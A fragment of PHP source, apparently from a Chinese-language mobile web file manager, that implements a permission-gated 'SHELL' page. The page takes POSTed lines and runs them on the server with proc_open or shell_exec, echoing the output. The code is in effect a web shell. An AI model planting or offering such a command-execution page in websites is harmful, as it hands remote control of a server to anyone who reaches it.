\n"; echo "返回目录错误提示\n"; echo "\n"; echo "
\n"; echo "您没有打开SHELL权限!"; echo "
\n"; xhtml_footer(); exit; } chdir($getcwd); xhtml_head("SHELL"); echo "
\n"; echo "返回目录SHELL\n"; echo "
\n"; echo "
\n"; echo "
\n"; echo "\n"; echo "\n
\n"; echo "\n
\n"; echo "
\n"; echo "
\n"; if (isset($_POST['shell'])) if (($s = trim($_POST['shell'])) != "") { echo "
\n结果返回SHELL\n
\n"; echo "
\n"; if (function_exists("proc_open") && function_exists("stream_get_contents") && php_uname("s") == "Linux") { if (!($sh = proc_open("sh", array(0 => array("pipe", "r"), 1 => array("pipe", "w")), $pipes))) { echo "Open Shell Error !"; } else { $i = 0; $shell = explode("\n", $s); while ($i < count($shell)) { $x = trim($shell[$i]); fwrite($pipes[0], "$x\n"); $i++; } fclose($pipes[0]); $stream = stream_get_contents($pipes[1]); if ($stream != "") { echo "
" . nl2br(___codepre(trim($stream))) . "
"; } else { echo "NULL"; } fclose($pipes[1]); proc_close($sh); } } else { $i = 0; $shell = explode("\n", $s); while ($i < count($shell)) { $sh = trim($shell[$i]); echo "shell# $sh
\n"; echo nl2br(___codepre(shell_exec($sh))) . "\n"; $i++; } } echo "
\n"; } xhtml_footer(); ?>